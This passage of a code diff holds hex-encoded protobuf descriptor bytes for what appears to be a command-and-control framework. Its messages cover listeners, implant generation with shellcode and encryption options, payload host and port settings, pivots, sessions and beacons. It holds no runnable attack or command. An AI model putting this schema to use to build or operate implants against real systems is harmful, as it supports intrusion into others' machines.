- 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74,
- 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18,
- 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12,
- 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50,
- 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06,
- 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a,
- 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22,
- 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76,
- 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c,
- 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02,
- 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d,
- 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a,
- 0x06, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x06, 0x4a,
- 0x6f, 0x62, 0x49, 0x44, 0x73, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62,
- 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44,
- 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28,
- 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xda, 0x02, 0x0a, 0x0b, 0x4c,
- 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44,
- 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79,
- 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14,
- 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a,
- 0x6f, 0x62, 0x49, 0x44, 0x12, 0x35, 0x0a, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66,
- 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65,
- 0x71, 0x52, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x2f, 0x0a, 0x06, 0x57,
- 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
- 0x72, 0x52, 0x65, 0x71, 0x52, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x32, 0x0a, 0x07,
- 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74,
- 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x07, 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66,
- 0x12, 0x35, 0x0a, 0x08, 0x48, 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x07, 0x20, 0x01,
- 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54,
- 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x48,
- 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x3e, 0x0a, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69,
- 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, 0x65,
- 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x09, 0x4d, 0x75,
- 0x6c, 0x74, 0x69, 0x43, 0x6f, 0x6e, 0x66, 0x22, 0x40, 0x0a, 0x16, 0x4d, 0x75, 0x6c, 0x74, 0x69,
- 0x70, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65,
- 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20,
- 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x22, 0x39, 0x0a, 0x0f, 0x4d, 0x54, 0x4c,
- 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04,
- 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74,
- 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04,
- 0x50, 0x6f, 0x72, 0x74, 0x22, 0x7d, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
- 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72,
- 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a,
- 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75,
- 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01,
- 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79,
- 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50,
- 0x6f, 0x72, 0x74, 0x22, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65,
- 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e,
- 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73,
- 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01,
- 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04,
- 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74,
- 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04,
- 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f,
- 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63,
- 0x65, 0x4f, 0x54, 0x50, 0x22, 0xd5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73,
- 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61,
- 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e,
- 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
- 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01,
- 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75,
- 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65,
- 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65,
- 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10,
- 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79,
- 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04,
- 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f,
- 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63,
- 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c,
- 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c,
- 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26,
- 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72,
- 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c,
- 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d,
- 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52,
- 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d,
- 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a,
- 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
- 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
- 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
- 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50,
- 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18,
- 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10,
- 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72,
- 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01,
- 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65,
- 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
- 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12,
- 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
- 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
- 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
- 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76,
- 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03,
- 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e,
- 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b,
- 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70,
- 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39,
- 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65,
- 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52,
- 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e,
- 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,
- 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69,
- 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44,
- 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44,
- 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
- 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x52, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65,
- 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49,
- 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f,
- 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x8c, 0x02, 0x0a, 0x10, 0x47, 0x65, 0x6e,
- 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a,
- 0x07, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07,
- 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18,
- 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x41,
- 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x0d, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65,
- 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49,
- 0x76, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72,
- 0x79, 0x70, 0x74, 0x49, 0x76, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, 0x72,
- 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x43,
- 0x34, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50,
- 0x72, 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08,
- 0x52, 0x0b, 0x50, 0x72, 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a,
- 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x46, 0x12, 0x1a, 0x0a, 0x08, 0x43,
- 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43,
- 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72,
- 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b,
+ 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x18, 0x65, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1c,
+ 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, 0x0b,
+ 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x1c,
+ 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, 0x09,
+ 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x2b, 0x0a, 0x10, 0x48, 0x54,
+ 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x96,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e,
+ 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f,
+ 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x97, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c,
+ 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x37, 0x0a, 0x16,
+ 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45,
+ 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x98, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x54,
+ 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e,
+ 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x29, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63,
+ 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x99, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52,
+ 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73,
+ 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28,
0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c,
- 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52,
- 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05,
- 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f,
- 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28,
- 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f,
